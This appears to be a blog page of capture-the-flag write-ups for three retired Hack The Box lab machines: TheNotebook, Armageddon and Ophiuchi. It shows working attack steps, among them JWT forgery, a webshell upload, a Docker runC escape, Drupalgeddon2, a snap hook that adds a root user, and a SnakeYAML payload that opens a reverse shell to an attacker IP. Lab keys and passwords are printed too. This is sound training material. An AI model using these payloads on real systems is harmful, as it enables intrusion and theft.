<a href="https://www.hackthebox.com/home/machines/profile/320">TheNotebook</a> publish on
Mars 6, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/120514">mostwanted002</a>.
This box is rated as a medium machine. It implies a JWT token, some PHP files
and a docker exploit.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code>Nmap scan report for 10.129.82.59
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<h1>Web</h1>
<p>The website is an application to take notes. We can self register a user. We notice that:</p>
<ul>
<li>There is authorization control to access the notes but we need to know the UUID to access them.</li>
<li>The first note we upload start with the number 5. Being on a VIP box means that there is already existing notes.</li>
<li>The authentication is using a <a href="https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a">JWT token</a></li>
</ul>
<p>Our <a href="https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a">JWT token</a> has the following values:</p>
<div class="highlight"><pre><span></span><code>eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9
{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}
eyJ1c2VybmFtZSI6InJyIiwiZW1haWwiOiJyQHIuY29tIiwiYWRtaW5fY2FwIjowfQ
{"username":"rr","email":"r@r.com","admin_cap":0}
</code></pre></div>
<p>A few interesting point about this JWT token:</p>
<ol>
<li>the kid (Key ID) in the header is an URL</li>
<li>there is a <code>admin_cap</code> parameter in the JWT payload.</li>
</ol>
<p>We host a simple HTTP server using python3 and change the KID value by our IP
address and port and got a ping on it (with a 404).</p>
<p>We use <a href="https://gist.github.com/ygotthilf/baa58da5c3dd1f69fae9">ssh-keygen to generate a RS256 private key</a>
and we make it available using the python server.</p>
<div class="highlight"><pre><span></span><code>ssh-keygen -t rsa -b 4096 -m PEM -f privKey.key
</code></pre></div>
<p>We use <a href="https://jwt.io/">https://jwt.io/</a> to generate a new token with the
<code>admin_cap</code> parameter to <code>1</code> and sign it using our private key.</p>
<p>By replacing our token with the new one we can now access the <a href="http://10.129.82.59/admin">admin panel</a>
an view all the notes including the ones from the "admin" user saying that PHP
files are being executed.</p>
<p>We use the admin panel to upload <code>simple-backdoor.php</code> (located in
<code>/usr/share/webshells/php</code> on Kali Linux).
We can now execute command on the system using our webshell.</p>
<p>We found a "home.tar.gz" archive in the <code>/backups/</code> folder.</p>
<div class="highlight"><pre><span></span><code>ls%20../../backups
apt.extended_states.0
apt.extended_states.1.gz
apt.extended_states.2.gz
home.tar.gz
</code></pre></div>
<p>We copy the archive to our parent directory and extract it.</p>
<div class="highlight"><pre><span></span><code>cmd=cp%20../../backups/home.tar.gz%20../
cmd=tar%20xvf%20../home.tar.gz%20-C%20../
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub
</code></pre></div>
<p>We can then get the "noah" user private SSH key.</p>
<div class="highlight"><pre><span></span><code>cmd=cat%20../home/noah/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyqucvz6P/EEQbdf8cA44GkEjCc3QnAyssED3qq9Pz1LxEN04
HbhhDfFxK+EDWK4ykk0g5MvBQckcxAs31mNnu+UClYLMb4YXGvriwCrtrHo/ulwT
rLymqVzxjEbLUkIgjZNW49ABwi2pDfzoXnij9JK8s3ijIo+w/0RqHzAfgS3Y7t+b
HVo4kvIHT0IXveAivxez3UpiulFkaQ4zk37rfHO3wuTWsyZ0vmL7gr3fQRBndrUD
v4k2zwetxYNt0hjdLDyA+KGWFFeW7ey9ynrMKW2ic2vBucEAUUe+mb0EazO2inhX
rTAQEgTrbO7jNoZEpf4MDRt7DTQ7dRz+k8HG4wIDAQABAoIBAQDIa0b51Ht84DbH
+UQY5+bRB8MHifGWr+4B6m1A7FcHViUwISPCODg6Gp5o3v55LuKxzPYPa/M0BBaf
Q9y29Nx7ce/JPGzAiKDGvH2JvaoF22qz9yQ5uOEzMMdpigS81snsV10gse1bQd4h
CA4ehjzUultDO7RPlDtbZCNxrhwpmBMjCjQna0R2TqPjEs4b7DT1Grs9O7d7pyNM
Um/rxjBx7AcbP+P7LBqLrnk7kCXeZXbi15Lc9uDUS2c3INeRPmbFl5d7OdlTbXce
YwHVJckFXyeVP6Qziu3yA3p6d+fhFCzWU3uzUKBL0GeJSARxISsvVRzXlHRBGU9V
AuyJ2O4JAoGBAO67RmkGsIAIww/DJ7fFRRK91dvQdeaFSmA7Xf5rhWFymZ/spj2/
rWuuxIS2AXp6pmk36GEpUN1Ea+jvkw/NaMPfGpIl50dO60I0B4FtJbood2gApfG9
0uPb7a+Yzbj10D3U6AnDi0tRtFwnnyfRevS+KEFVXHTLPTPGjRRQ41OdAoGBANlU
kn7eFJ04BYmzcWbupXaped7QEfshGMu34/HWl0/ejKXgVkLsGgSB5v3aOlP6KqEE
vk4wAFKj1i40pEAp0ZNawD5TsDSHoAsIxRnjRM+pZ2bjku0GNzCAU82/rJSnRA+X
i7zrFYhfaKldu4fNYgHKgDBx8X/DeD0vLellpLx/AoGBANoh0CIi9J7oYqNCZEYs
QALx5jilbzUk0WLAnA/eWs9BkVFpQDTnsSPVWscQLqWk7+zwIqq0v6iN3jPGxA8K
VxGyB2tGqt6jI58oPztpabGBTCmBfh82nT2KNNHfwwmfwZjdsu9I9zvo+e3CXlBZ
vglmvw2DW6l0EwX+A+ZuSmiZAoGAb2mgtDMrRDHc/Oul3gvHfV6CYIwwO5qK+Jyr
2WWWKla/qaWo8yPQbrEddtOyBS0BP4yL9s86yyK8gPFxpocJrk3esdT7RuKkVCPJ
z2yn8QE6Rg+yWZpPHqkazSZO1eItzQR2mYG2hzPKFtE7evH6JUrnjm5LTKEreco+
8iCuZAcCgYEA1fhcJzNwEUb2EOV/AI23rYpViF6SiDTfJrtV6ZCLTuKKhdvuqkKr
JjwmBxv0VN6MDmJ4OhYo1ZR6WiTMYq6kFGCmSCATPl4wbGmwb0ZHb0WBSbj5ErQ+
Uh6he5GM5rTstMjtGN+OQ0Z8UZ6c0HBM0ulkBT9IUIUEdLFntA4oAVQ=
-----END RSA PRIVATE KEY-----
</code></pre></div>
<p>We use it to connect on the box as "noah" and get the user flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh noah@10.129.82.59 -i id_rsa
<snip>
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)
noah@thenotebook:~$ cat user.txt
4a22cbbbecb491a77b6659fdf00183ba
</snip></code></pre></div>
<h1>root</h1>
<h2>Docker</h2>
<p>We enumerate our permission on the box.</p>
<div class="highlight"><pre><span></span><code>noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
</code></pre></div>
<p>Our user can execute command on the "webapp-dev01" docker machine. We can use
<code>sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash</code> to get a bash shell
inside the docker.</p>
<p>As docker is used we run the <a href="https://github.com/stealthcopter/deepce">deepce</a>
script on the host box. The script found that the docker version used it
vulnerable to a container escape exploit.</p>
<div class="highlight"><pre><span></span><code>noah@thenotebook:~$ sh deepce.sh
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
by stealthcopter
==========================================( Colors )==========================================
[+] Exploit Test ............ Exploitable - Check this out
[+] Basic Test .............. Positive Result
[+] Another Test ............ Error running check
[+] Negative Test ........... No
[+] Multi line test ......... Yes
Command output
spanning multiple lines
Tips will look like this and often contains links with additional info. You can usually
ctrl+click links in modern terminal to open in a browser window
See https://stealthcopter.github.io/deepce
===================================( Enumerating Platform )===================================
grep: /proc/1/cgroup: No such file or directory
grep: /proc/1/cgroup: No such file or directory
grep: /proc/1/cgroup: No such file or directory
[+] Inside Container ........ No
[+] User .................... noah
[+] Groups .................. noah
[+] Container tools ......... Yes
/usr/bin/docker
/usr/bin/lxc
[+] Docker Executable ....... /usr/bin/docker
[+] Docker version .......... 18.06.0-ce
[+] User in Docker group .... No
[+] Docker Sock ............. Yes
srw-rw---- 1 root docker 0 Mar 7 10:10 /var/run/docker.sock
[+] Sock is writable ........ No
To see full info from the docker sock output run the following
curl -s --unix-socket /var/run/docker.sock http://localhost/info
[+] Docker Exploits ......... 18.06.0-ce
[+] CVE–2019–13139 .......... deepce.sh: 139: printf: 0-ce: not completely converted
Yes
Docker versions before 18.09.4 are vulnerable to a command execution vulnerability when
parsing URLs
[+] CVE–2019–5736 ........... deepce.sh: 139: printf: 0-ce: not completely converted
Yes
Docker versions before 18.09.2 are vulnerable to a container escape by overwriting the
runC binary
==================================( Enumerating Containers )==================================
==============================================================================================
</code></pre></div>
<p>A quick Google search return us a simple <a href="https://github.com/Frichetten/CVE-2019-5736-PoC">CVE-2019-5736 PoC</a>
written in Golang.</p>
<p>We modify the <code>main.go</code> file with the payload <code>var payload = "#!/bin/bash \n cat /root/root.txt > /tmp/shadow && chmod 777 /tmp/shadow"</code>
and compile it using <code>go build main.go</code>. We then download it from the docker and
run it.</p>
<div class="highlight"><pre><span></span><code>noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
root@893ea5c84398:/opt/webapp# cd /tmp/
root@893ea5c84398:/tmp# wget http://10.10.14.28:8000/main
--2021-03-08 17:07:53-- http://10.10.14.28:8000/main
<snip>
2021-03-08 17:07:53 (10.8 MB/s) - ‘main’ saved [2236814/2236814]
root@893ea5c84398:/tmp# chmod +x main
root@893ea5c84398:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 103
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc0004078c0}
root@893ea5c84398:/tmp#
</snip></code></pre></div>
<p>On another terminal on the "thenotebook" host we run the following command (our exploit binary rewrite
<code>/bin/sh</code> so we need to call that command) and get the private flag.</p>
<div class="highlight"><pre><span></span><code>noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
No help topic for '/bin/sh'
noah@thenotebook:~$ ls /tmp/
home shadow systemd-private-0c3e87bdcb724a669778cfa72c5b4017-systemd-timesyncd.service-vsSHAh tmux-1000 vmware-root_611-3980232955
noah@thenotebook:~$ cat /tmp/shadow
e16458a8ec21a020bb382e56d8f0ed42
</code></pre></div>
<h1>Wrapping up</h1>
<p>An interesting box as working with JWT token is more and more common. The docker
exploit is simple to use. A nice box overall.</p>HTB: Armageddon2021-07-26T11:00:00+02:002021-07-26T11:00:00+02:00maggicktag:maggick.fr,2021-07-26:/2021/07/htb-armageddon.html<p><img alt="armageddon Card" class="align-left" src="/media/2021.07/armageddon_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/323">Armageddon</a> publish on
Mars 27, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/27897">Bertolis</a>.
This box is rated as an easy machine. It implies the drupalgeddon vulnerability
and some permissive <code>sudo</code> permissions.</p>
<p><img alt="armageddon Card" class="align-left" src="/media/2021.07/armageddon_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/323">Armageddon</a> publish on
Mars 27, 2021 by
<a href="https://www.hackthebox.com/home/users/profile/27897">Bertolis</a>.
This box is rated as an easy machine. It implies the drupalgeddon vulnerability
and some permissive <code>sudo</code> permissions.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sat May 15 04:16:52 2021 as: nmap -p- -oN nmap -sSV 10.129.48.89
Nmap scan report for 10.129.48.89
Host is up (0.015s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 15 04:17:15 2021 -- 1 IP address (1 host up) scanned in 22.79 seconds
</code></pre></div>
<p>The name and the blog on the port 80 directly made me think about drupalgeddon.
We fireup metasloit.</p>
<div class="highlight"><pre><span></span><code>msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.14.17:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.129.48.89
[*] Meterpreter session 3 opened (10.10.14.17:4444 -> 10.129.48.89:38608) at 2021-04-25 04:52:28 -0400
meterpreter > shell
Process 2993 created.
Channel 0 created.
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
</code></pre></div>
<h1>Privilege escalation</h1>
<p>We start enumeration the box and gout the MySQL Database password in a
configuration file.</p>
<div class="highlight"><pre><span></span><code>cat ./sites/default/settings.php
<snip>
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
<snip>
</snip></snip></code></pre></div>
<p>We use <code>mysldump</code> to dump the database in a file. Inside the dump we found the
hashed password for the website users.</p>
<div class="highlight"><pre><span></span><code>mysqldump -u drupaluser -p drupal > /tmp/dump
Enter password: CQHEy@9M*m23gBVj
<snip>
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (0,'','','','','',NULL,0,0,0,0,NULL,'',0,'',NULL),(1,'brucetherealadmin','$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt','admin@armageddon.eu','','','filtered_html',1606998756,1607077194,1607076276,1,'Europe/London','',0,'admin@armageddon.eu','a:1:{s:7:\"overlay\";i:1;}'),(3,'admin','$S$DM9qGcKQlMpP4V5r4Dv8XlqsecY6zJrBwRyrkkF5YUjUiJt46NQP','admin@armageddon.htb','','','filtered_html',1618820338,0,0,0,'Europe/London','',0,'admin@armageddon.htb',NULL);
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
</snip></code></pre></div>
<p>We put them in a file and run <code>john</code> on it. We found the password for the
<code>brucetherealadmin</code> user. Which is also a system user (see <code>/etc/passwd</code>).</p>
<div class="highlight"><pre><span></span><code>$ john hash -w=~/tools/password_lists/rockyou.txt
<snip>
--------------------------------------------------------------------------
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo (brucetherealadmin)
1g 0:00:00:00 DONE (2021-04-25 11:04) 1.960g/s 470.5p/s 470.5c/s 470.5C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</snip></code></pre></div>
<p>We can use SSH to connect to the machine as this user and grab the first flag.</p>
<div class="highlight"><pre><span></span><code>└─$ ssh brucetherealadmin@10.129.48.89
brucetherealadmin@10.129.48.89's password:
Last login: Sat May 15 10:05:01 2021 from 10.10.14.17
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
bcb2084548c43514b5451c42c480bf9f
</code></pre></div>
<h1>Root</h1>
<p>We take a look at our privileges and found that we can run <code>snap install</code> as
<code>root</code>.</p>
<div class="highlight"><pre><span></span><code>[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
</code></pre></div>
<p>According to <a href="https://gtfobins.github.io/gtfobins/snap/">gtfobins</a> we can easily
use that to run commands as root using
<a href="https://github.com/jordansissel/fpm">fpm</a> to create a snap file.</p>
<p>We install fpm on our kali box <code>sudo gem install --no-document fpm</code>.
We build a snap on our machine using <code>fmp</code> and the command on <a href="https://gtfobins.github.io/gtfobins/snap/">gtfobins</a>.</p>
<div class="highlight"><pre><span></span><code>└─$ COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n test -s dir -t snap -a all meta
</code></pre></div>
<p>Using <code>scp</code> we upload the snap file to the box and "install" it.</p>
<div class="highlight"><pre><span></span><code>[brucetherealadmin@armageddon tmp.Y8rUvO3A58]$ sudo /usr/bin/snap install test_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "test" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0)
</code></pre></div>
<p>We change the command to display the root flag</p>
<div class="highlight"><pre><span></span><code>└─$ COMMAND='cat /root/root.txt'
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n test -s dir -t snap -a all meta
Created package {:path=>"test_1.0_all.snap
[brucetherealadmin@armageddon tmp.CR7TIBjISj]$ sudo /usr/bin/snap install test_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "test" snap if present (run hook "install": 59303daefd76582a8731bbc25b7b9c47)
</code></pre></div>
<p>We want a root shell an not just to display the flag. As we can run any command as root we have a few choices:</p>
<ul>
<li>Add a root (id 0) user to <code>/etc/passwd</code> with a password of our choice</li>
<li>Add an ssh key to root</li>
<li>run a reverse shell</li>
<li>a few others</li>
</ul>
<p>We will go with the first one. On our kali we use <code>openssl</code> to generate a hashed password</p>
<div class="highlight"><pre><span></span><code>openssl passwd -1 -salt ignite pass123
$1$ignite$LcHWKSHaZ8KUa68dh14V6.
</code></pre></div>
<p>We change our install hook command to add to <code>/etc/passwd</code>, regenerate the
snap and copy it to the box.</p>
<div class="highlight"><pre><span></span><code>└─$ cat meta/hooks/install
#!/bin/sh
echo 'toto2:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash'>>/etc/passwd; false
┌──(kali㉿kali)-[/tmp/tmp.podJijQ4NH]
└─$ fpm -n test2 -s dir -t snap -a all meta
Created package {:path=>"test2_1.0_all.snap"}
└─$ scp test2_1.0_all.snap brucetherealadmin@10.129.48.89:
</code></pre></div>
<p>We install the snap on the box which create the <code>toto2</code> user and we can switch
to it to get a root shell and grab the root flag</p>
<div class="highlight"><pre><span></span><code>[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install test2_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "test2" snap if present (run hook "install": exit status 1)
[brucetherealadmin@armageddon ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
toto2:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
[brucetherealadmin@armageddon ~]$ su toto2
Password:
[root@armageddon brucetherealadmin]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon brucetherealadmin]# cat /root/root.txt
59303daefd76582a8731bbc25b7b9c47
</code></pre></div>HTB: Ophiuchi2021-07-05T09:15:00+02:002021-07-05T09:15:00+02:00maggicktag:maggick.fr,2021-07-05:/2021/07/htb-ophiuchi.html<p><img alt="Ophiuchi card" class="align-left" src="/media/2021.07/ophiuchi_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/315">Ophiuchi</a> created by
<a href="https://www.hackthebox.com/home/users/profile/27390">felamos</a> and publish on
February 13, 2021.
This box is classified as a medium machine. The user part involves YAML and
deserialization as the root part involves webassembly binaries.</p>
<p><img alt="Ophiuchi card" class="align-left" src="/media/2021.07/ophiuchi_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/315">Ophiuchi</a> created by
<a href="https://www.hackthebox.com/home/users/profile/27390">felamos</a> and publish on
February 13, 2021.
This box is classified as a medium machine. The user part involves YAML and
deserialization as the root part involves webassembly binaries.</p>
<h1>User</h1>
<h2>Reco</h2>
<p>We start with an nmap scan. Only ports 22 (SSH) and 8080 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sat Feb 20 04:02:47 2021 as: nmap -oN notes -sS -p- 10.129.98.255
Nmap scan report for 10.129.98.255
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
# Nmap done at Sat Feb 20 04:03:22 2021 -- 1 IP address (1 host up) scanned in 35.41 seconds
</code></pre></div>
<h2>Web</h2>
<p>The web page is an Online YAML Parser. We quickly guess that this would be about
YAML deserialization. A few "random" data generate a Java stack trace indicating
the use of the Snake YAML library.</p>
<p>A Google search lead us to a
<a href="https://medium.com/@swapneildash/snakeyaml-deserilization-exploited-b4a2c5ac0858">medium article about exploiting YAML deserialization</a></p>
<p>We run an python http server and use the following payload</p>
<div class="highlight"><pre><span></span><code>!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.16:8000"]
]]
]
</code></pre></div>
<p>Despite the "error" message on the website we still got a hit on our Python
HTTP server.</p>
<div class="highlight"><pre><span></span><code>$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:25:51] "GET / HTTP/1.1" 200 -
</code></pre></div>
<p>A link in the <a href="https://medium.com/@swapneildash/snakeyaml-deserilization-exploited-b4a2c5ac0858">medium article</a>
lead us to a <a href="https://github.com/artsploit/yaml-payload">github repository for a YAML payloads generator</a>.</p>
<p>We change the paylaod to <code>Runtime.getRuntime().exec("wget http://10.10.14.16:8000/boom");</code>
and send it to the YAML parser</p>
<div class="highlight"><pre><span></span><code>!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.16:8000/yaml-payload.jar"]
]]
]
</code></pre></div>
<p>We got an other Java error "java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 60.0), this version of the Java Runtime only recognizes class file versions up to 55.0".</p>
<p>On my Kali Linux I am using <code>openjdk</code> with Java 16 so our <code>javac</code> produced a
newer version of the code.</p>
<div class="highlight"><pre><span></span><code>/usr/lib/jvm/java-16-openjdk-amd64/bin/javac
</code></pre></div>
<p>We just install Java 11 using <code>sudo apt-get install openjdk-11-jdk</code>
and run the specific Java 11 compiler. Then we got a hit with our "second" payload</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ /usr/lib/jvm/java-11-openjdk-amd64/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1620) (out= 680)(deflated 58%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1493) (out= 404)(deflated 72%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] code 404, message File not found
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /boom HTTP/1.1" 404 -
</code></pre></div>
<p>We modify it to use the reverse shell Java payload from
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#java">Payload all the things</a>
and catch the new exception in the Java code as shown in the code block below.</p>
<div class="highlight"><pre><span></span><code><span class="kd">public</span><span class="w"> </span><span class="nf">AwesomeScriptEngineFactory</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Runtime</span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Runtime</span><span class="p">.</span><span class="na">getRuntime</span><span class="p">();</span>
<span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">r</span><span class="p">.</span><span class="na">exec</span><span class="p">(</span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="o">[]</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s">"/bin/bash"</span><span class="p">,</span><span class="w"> </span><span class="s">"-c"</span><span class="p">,</span><span class="w"> </span><span class="s">"exec 5<>/dev/tcp/10.10.14.16/4242;cat <&5 | while read line; do $line 2>&5 >&5; done"</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="n">p</span><span class="p">.</span><span class="na">waitFor</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="n">IOException</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">InterruptedException</span><span class="w"> </span><span class="n">e</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">e</span><span class="p">.</span><span class="na">printStackTrace</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>Running it give us a reverse shell as the <code>tomcat</code> user.</p>
<div class="highlight"><pre><span></span><code>$ nc -l -p 4242
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
</code></pre></div>
<h2>Stored credential</h2>
